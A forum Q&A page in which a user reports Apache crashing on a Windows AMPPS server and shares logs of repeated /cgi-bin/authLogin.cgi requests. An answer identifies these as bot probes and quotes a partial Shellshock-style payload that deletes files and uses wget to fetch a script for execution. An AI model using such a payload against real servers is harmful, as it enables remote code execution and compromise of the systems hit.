Apache http server has stopped working

php apache ampps
karuppub picture karuppub · Dec 10, 2014 · Viewed 8.2k times · Source

Hi Friends,

I am using Ampps server with php 5.3.29 in windows server datacenter.

unfortunately i am getting the following prompt in windows server and my site down.

Prompt title: Microsoft windows

Prompt Message: Apache http server has stopped working.

A problem caused the program to stop working correctly. windows will close the program and notify you if a solution is available.

Trace:

When i tracing error and access logs, i found the following logs as the cause.

In Apache access log:

202.175.83.36 - - [10/Dec/2014:05:58:50 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335 217.248.177.30 - - [10/Dec/2014:06:11:24 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335 209.153.244.6 - - [10/Dec/2014:07:09:17 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335 81.214.132.245 - - [10/Dec/2014:07:25:04 -0500] "GET /cgi-bin/authLogin.cgi HTTP/1.1" 404 1335

In Apache error log:

[Wed Dec 10 07:25:04.401073 2014] [cgi:error] [pid 2908:tid 1168] [client 81.214.132.245:36246] script not found or unable to stat: D:/Program Files/Ampps/www/cgi-bin/authLogin.cgi

Please help me.

Answer

Mutified picture Mutified · Dec 16, 2014

There is a Web bot trying to get authority so it can wget and execute something like S0.py, which I imagine is a worm so the download server is compromised. Id like a copy of S0.sh if you happen to get one give it to exploit-db or something like it. The clever command is: Get /cgi-bin/authLogin.cgi HTTP/1.1.Host: 127.0.0.1.User-Agent:() { :; }; /bin/rm -rf /tmp/S0.sh && /bin/mkdir -p /share/HDB_DATA/.../php && /usr/bin/wget

The file is executed following download. I suppose there's something about HDB_DATA, which I don't even have. "Information is Paramount!"

Related questions

Why cannot Apache handle multiple requests at the same time?

I have AMPPS installed. My Apache server cannot handle multiple php requests at once (for example if I call localhost/script.php multiple times, they are processed in a consecutive order). script.php consists only of <?php sleep(10); ?>. …

Read More
PHP code is not being executed, instead code shows on the page

I'm trying to execute some PHP code on a project (using Dreamweaver) but the code isn't being run. When I check the source code, the PHP code appears as HTML tags (I can see it in the source code). Apache …

Read More
Apache is not running from XAMPP Control Panel ( Error: Apache shutdown unexpectedly. This may be due to a blocked port)

I have installed XAMPP (xampp-win32-1.8.2-0-VC9-installer.exe) on Windows 7 successfully. But unfortunately, the following error was found during running Apache from XAMPP Control Panel: 5:38:38 PM [Apache] Error: Apache shutdown unexpectedly. 5:38:38 PM [Apache] This may be due to …

Read More